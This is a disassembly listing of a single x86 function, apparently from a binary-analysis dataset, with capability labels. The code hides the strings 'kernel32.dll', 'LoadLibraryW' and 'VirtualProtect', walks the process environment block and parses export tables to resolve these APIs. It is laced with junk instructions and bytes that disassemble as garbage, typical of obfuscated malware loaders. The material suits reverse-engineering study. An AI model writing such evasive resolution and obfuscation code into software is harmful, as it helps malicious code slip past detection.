Function at 0x418902
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
push edi
add esp, 4
and edi, 0x380b
add edi, 0xd344
pop edi
push ecx
push esi
add esp, 4
and ecx, 0xcccb
or ecx, 0x11d89
or ecx, 0xb4f5
pop ecx
push edx
add edx, 0xd249
pop edx
push esi
push ebx
add esp, 4
jmp 0x418894
pop esi
push eax
xor eax, 0xc354
pop eax
push eax
push ebx
add esp, 4
jmp 0x4188ab
add eax, 0x6945
add eax, 0x1006a
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
and ecx, 0x17971
call 0x4188f3
add byte [edi], dh
inc ecx
inc esp
dec ebx
add esp, 4
call 0x418902
add byte [eax + 0x34], al
dec eax
cmp byte [edx], bh
inc esi
add esp, 4
pop ecx
push eax
push ecx
add esp, 4
add eax, 0x9786
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x41892a
mov dword [ebp - 0x2e0], 0
jmp 0x418be6
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
push edi
add esp, 4
or edi, 0x1316
sub edi, 0x79a5
pop edi
push edx
push eax
add esp, 4
or edx, 0x11c6e
pop edx
push edx
sub edx, 0x7d34
sub edx, 0x9ed8
and edx, 0x15a2f
pop edx
cmp dword [ebp - 0xc20], 0
jne 0x418986
mov dword [ebp - 0x2e0], 0
jmp 0x418be6
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ebx
add ebx, 0x120ba
xor ebx, 0xf06c
pop ebx
push edx
push eax
add esp, 4
add edx, 0xe8bd
call 0x4189ba
add byte [eax + 0x43], cl
push eax
inc esp
cmp byte [edx + 0x45], al
dec ebp
inc ebx
add esp, 4
xor edx, 0xb3a9
pop edx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push eax
add eax, 0x174db
pop eax
push ebx
push esi
add esp, 4
call 0x418a0d
add byte [eax + edi + 0x4e], cl
dec ecx
cmp bh, byte [eax + edi]
inc edi
dec ebx
add esp, 4
or ebx, 0x1385d
sub ebx, 0x10ef8
or ebx, 0xa8a2
pop ebx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push esi
add esi, 0x507
pop esi
push esi
jmp 0x418a8b
add esi, 0x6d52
sub esi, 0x22cd
pop esi
push edi
jmp 0x418aa2
or edi, 0xb2df
and edi, 0xbd8b
pop edi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x418ad2
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x418b35
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4189f1
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4189f1
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x418b1f
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x418b29
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x418b7e
push ebx
push esi
add esp, 4
and ebx, 0x6af5
call 0x418b55
add byte [esi + edi + 0x3d], cl
inc ecx
dec esi
dec eax
add esp, 4
pop ebx
push esi
push ecx
add esp, 4
or esi, 0x1732c
jmp 0x418b69
add esi, 0x107c5
pop esi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x418be6
push edx
add edx, 0x4478
pop edx
push ebx
push eax
add esp, 4
and ebx, 0x737a
and ebx, 0x5268
sub ebx, 0x10097
or ebx, 0x16b1d
pop ebx
push edx
push edi
add esp, 4
add edx, 0x1799c
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x418bdc
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x418992
mov dword [ebp - 0x2e0], 0
push edi
push esi
add esp, 4
xor edi, 0x1544b
pop edi
push esi
push ebx
add esp, 4
sub esi, 0x3c22
add esi, 0x14a32
pop esi
push esi
sub esi, 0xf591
add esi, 0x91ba
and esi, 0x140ec
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x419531
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
add byte [eax], al
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
push ebx
add esp, 4
xor ecx, 0x14446
xor ecx, 0xc743
pop ecx
push eax
push ecx
add esp, 4
xor eax, 0x9270
add eax, 0x1842d
pop eax
push ecx
sub ecx, 0x5485
sub ecx, 0xd642
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
push ecx
add esp, 4
or esi, 0x5e2f
or esi, 0xb63a
jmp 0x418d89
add esi, 0xeb9e
pop esi
push edx
add edx, 0x4ff5
or edx, 0xd7da
and edx, 0xbb7c
pop edx
cmp dword [ebp - 0x14dc], 0
jne 0x418dbc
mov dword [ebp - 0x6ec], 0
jmp 0x419078
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push esi
push esi
add esp, 4
or esi, 0x8cc4
add esi, 0x13e6c
call 0x418ded
or dword [eax], eax
add byte [eax], al
add byte [edx + 0x45], al
cmp al, 0x3d
inc ebx
inc ecx
dec ebp
add esp, 4
call 0x418dfc
add byte [edi + 0x48], al
xor al, 0x4d
dec esp
inc edi
add esp, 4
pop esi
cmp dword [ebp - 0xc2c], 0
jne 0x418e18
mov dword [ebp - 0x6ec], 0
jmp 0x419078
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edx
and edx, 0xfd54
sub edx, 0x8220
add edx, 0xb46
or edx, 0x5e2a
pop edx
push edx
add edx, 0x158db
jmp 0x418e4c
jmp 0x418e55
pop edx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edi
call 0x418e92
add byte [ecx + 0x4a], cl
cmp dword [edx + 0x4c], ecx
dec esp
dec ebp
dec ecx
add esp, 4
add edi, 0x638c
add edi, 0x16dee
call 0x418eb1
add byte [edx + 0x47], al
dec edi
xor eax, dword [edi + ecx*2 + 0x46]
xor al, byte [ecx + 0x4a]
add esp, 4
pop edi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
jmp dword [esi - 0x75]
xchg ebp, eax
jl 0x418ef6
invalid
jmp dword [esi - 0x77]
xchg ebp, eax
cld
invalid
invalid
call dword [edx + 0x53]
add esp, 4
call 0x418f20
add byte [ebx + 0x3b], al
cmp dword ss:[esi + 0x4c], eax
add esp, 4
call 0x418f31
add byte [eax + 0x4d], al
dec eax
xor al, 0x4d
inc esi
dec edx
dec ebp
add esp, 4
or edx, 0x1035f
xor edx, 0x1447b
pop edx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x418f64
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x418fc7
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x418e83
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x418e83
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x418fb1
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x418fbb
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne fcn.00419010
push edx
push esi
add esp, 4
and edx, 0x14466
and edx, 0x49be
pop edx
push esi
and esi, 0x1007b
or esi, 0x766b
and esi, 0x8e6a
pop esi
push edi
push eax
add esp, 4
add edi, 0x86ea
pop edi
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x419078
push edi
add edi, 0x6105
pop edi
push eax
push esi
add esp, 4
sub eax, 0x7d49
or eax, 0xdceb
xor eax, 0x16676
and eax, 0x7897
pop eax
push edx
push eax
add esp, 4
sub edx, 0x18180
pop edx
cmp dword [ebp - 0x6ec], 0
jne 0x4190f4
push edx
or edx, 0x95ea
pop edx
push ebx
push ebx
add esp, 4
add ebx, 0xbf58
sub ebx, 0x13306
pop ebx
push edi
push ecx
add esp, 4
or edi, 0x10a61
pop edi
push esi
push ebx
add esp, 4
or esi, 0x16cc7
pop esi
mov dword [ebp - 0x738], 0
jmp 0x419c1b
push edx
push eax
add esp, 4
call 0x419108
add byte [ebx], bh
cmp bh, byte [ebx]
cmp edi, dword [edi]
cmp ecx, dword [edx + 0x3e]
inc ebp
add esp, 4
xor edx, 0x174fa
xor edx, 0xd1d6
xor edx, 0x16935
pop edx
push ecx
jmp 0x419125
pop ecx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x419165
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x419456
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x41918d
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x419456
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x4191bf
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x419456
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x4191e4
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x419456
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x41923e
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x41944a
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x4192ae
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x419360
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x419360
push ebx
or ebx, 0x16136
call 0x4192ef
add byte [ebx + 0x4d], cl
dec ebp
inc edi
inc edi
dec ebp
add esp, 4
or ebx, 0x10c52
add ebx, 0x3d6b
pop ebx
push ecx
add ecx, 0x17f05
sub ecx, 0x4089
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x419352
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x419359
jmp 0x41929f
jmp 0x419360
push edx
add edx, 0xdc27
sub edx, 0xea43
and edx, 0x134ec
pop edx
push ecx
push eax
add esp, 4
add ecx, 0x11990
and ecx, 0x4d8d
and ecx, 0x16621
and ecx, 0x11c84
pop ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x4193bf
mov dword [ebp - 0xc30], 0
jmp 0x41942e
push eax
sub eax, 0x9292
call 0x4193d3
add byte [edx], bh
dec ebp
inc ebx
inc esi
inc ecx
inc edx
add esp, 4
xor eax, 0x8262
pop eax
push edx
push ebx
add esp, 4
and edx, 0xf8c1
pop edx
push edi
and edi, 0x143e5
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x419424
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x41942e
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x419445
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x419456
jmp 0x41922f
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x419531
push ebx
push esi
add esp, 4
xor ebx, 0x12564
add ebx, 0x11363
add ebx, 0xf1d8
xor ebx, 0x4946
pop ebx
push edi
and edi, 0x10887
and edi, 0x13972
and edi, 0x4d80
pop edi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
add esi, 0x14b85
and esi, 0x1713c
and esi, 0x15f09
pop esi
push edx
push ebx
add esp, 4
and edx, 0xd9b6
and edx, 0xd5ce
xor edx, 0x7675
or edx, 0xbebd
pop edx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x419531
push edi
push edx
add esp, 4
xor edi, 0x2b06
add edi, 0xb0a1
pop edi
push ecx
push eax
add esp, 4
call 0x419516
add byte [edi + 0x46], al
inc edi
inc edi
xor al, 0x3f
xor eax, 0xc4833636
add al, 0x59
push edx
add edx, 0x1817c
pop edx
mov dword [ebp - 0x738], 0
jmp 0x419c1b
push ebx
call 0x41953f
add byte [eax + edi], bh
xor al, 0x4f
dec edi
cmp al, 0x4d
add esp, 4
pop ebx
push edi
push esi
add esp, 4
and edi, 0x17398
and edi, 0xa9cb
pop edi
push eax
add eax, 0x9009
xor eax, 0x3b8
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push eax
push edi
add esp, 4
xor eax, 0x45a9
call 0x4195a2
add byte [0x49483e3c], dh
cmp dh, byte [esi]
add esp, 4
xor eax, 0x9545
pop eax
push edi
or edi, 0x4e55
pop edi
push ebx
and ebx, 0x2e25
pop ebx
cmp dword [ebp - 0x14f4], 0
jne 0x4195d4
mov dword [ebp - 0x2e0], 0
jmp 0x41987b
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ebx
push edi
add esp, 4
call 0x4195f7
add byte [0x3e3f4b37], dh
inc esp
add esp, 4
add ebx, 0x34e0
pop ebx
push esi
push ebx
add esp, 4
or esi, 0xc7e8
jmp 0x419611
sub esi, 0x124de
pop esi
cmp dword [ebp - 0xc3c], 0
jne 0x419630
mov dword [ebp - 0x2e0], 0
jmp 0x41987b
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push eax
sub eax, 0x7604
and eax, 0x13cc9
or eax, 0x7d64
sub eax, 0x6eef
pop eax
push esi
and esi, 0x204a
call 0x41966a
add byte [esi + 0x33], al
dec ecx
inc ebp
cmp byte [eax], bh
add esp, 4
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push edx
add esp, 4
and esi, 0x16083
call 0x4196b0
add byte [esp + esi], dh
cmp edi, dword [0x83453a42]
les eax, [ecx + eax*4]
invalid
push ebx
push eax
add esp, 4
or ebx, 0x1afb
sub ebx, 0x15f02
sub ebx, 0x119df
xor ebx, 0x103
pop ebx
push eax
or eax, 0x1754f
sub eax, 0x11f2b
and eax, 0x129c6
pop eax
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
xor ebx, 0xa2c2
or ebx, 0xeb47
sub ebx, 0xf16c
and ebx, 0xead4
pop ebx
push edx
push esi
add esp, 4
or edx, 0x10fd9
pop edx
push edx
push ebx
add esp, 4
or edx, 0x159a0
pop edx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x41991e
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x419c0f
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x419946
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x419c0f
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x419978
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x419c0f
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x41999d
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x419c0f
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x4199f7
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x419c03
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x419a67
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x419b19
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x419b19
push ebx
push eax
add esp, 4
and ebx, 0x12ad2
xor ebx, 0xf12f
jmp 0x419aac
pop ebx
push eax
jmp 0x419ab3
xor eax, 0x533d
xor eax, 0xaf9c
xor eax, 0x5265
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x419b0b
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x419b12
jmp 0x419a58
jmp 0x419b19
push esi
push ebx
add esp, 4
add esi, 0x17c2c
jmp 0x419b2c
sub esi, 0x586f
or esi, 0x129c3
pop esi
push ebx
push ecx
add esp, 4
and ebx, 0x1734b
jmp 0x419b4a
pop ebx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x419b78
mov dword [ebp - 0xc40], 0
jmp 0x419be7
push edx
jmp 0x419b7e
add edx, 0x10b3
or edx, 0x104ae
xor edx, 0x4fa5
pop edx
push eax
push eax
add esp, 4
jmp 0x419b9d
or eax, 0x1815f
add eax, 0x12cff
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x419bdd
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x419be7
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x419bfe
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x419c0f
jmp 0x4199e8
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edx
push edx
add esp, 4
or edx, 0xc64b
sub edx, 0x7522
pop edx
push edi
push edx
add esp, 4
add edi, 0xa575
sub edi, 0x9788
jmp 0x419c46
or edi, 0xadf2
pop edi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ebx
or ebx, 0x11a9f
or ebx, 0x494c
sub ebx, 0xd49a
and ebx, 0x3ee2
pop ebx
push ebx
push ebx
add esp, 4
sub ebx, 0x153a
or ebx, 0x15cf8
add ebx, 0xa587
pop ebx
cmp dword [ebp - 0x3cc], 0
je 0x419ca0
cmp dword [ebp - 0xa5c], 0
jne 0x419ce6
push edx
call 0x419cae
add byte [ebp + 0x47], cl
inc ecx
inc eax
inc esi
cmp eax, dword [ebx - 0x1d7efb3c]
movsd dword es:[edi], dword [esi]
outsd dx, dword [esi]
add dword [eax], eax
add edx, 0x588a
pop edx
push edx
push ebx
add esp, 4
sub edx, 0x5d76
pop edx
push ecx
or ecx, 0x498c
pop ecx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edx
xor edx, 0xa100
xor edx, 0xc3c7
add edx, 0xeb16
pop edx
push edi
push esi
add esp, 4
sub edi, 0x11ab2
xor edi, 0x16d7d
and edi, 0x16bfc
and edi, 0x128be
pop edi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
call 0x419d5a
add byte [eax], bh
dec edi
inc ebp
inc edx
inc ebx
add esp, 4
pop eax
push esi
push ebx
add esp, 4
or esi, 0x7ec0
pop esi
push edx
push edi
add esp, 4
call 0x419d7b
add byte [eax], bh
xor bh, byte ss:[edi]
aas
cmp eax, dword [ebx - 0x39a5fb3c]
test dword [eax + 0x56fffff6], esp
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
push ebx
add esp, 4
or ecx, 0x4eaf
add ecx, 0xf2a6
sub ecx, 0x15c89
and ecx, 0x83f8
pop ecx
push edx
and edx, 0x11f58
add edx, 0x1064f
xor edx, 0x5a3f
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
jmp 0x419e48
pop ebx
push esi
push eax
add esp, 4
sub esi, 0x38c7
xor esi, 0x14e68
and esi, 0x73a4
and esi, 0x12588
pop esi
push esi
push edi
add esp, 4
add esi, 0x2928
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x419e8b
mov dword [ebp - 0x2a8], 0
jmp 0x41a132
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
push esi
add esp, 4
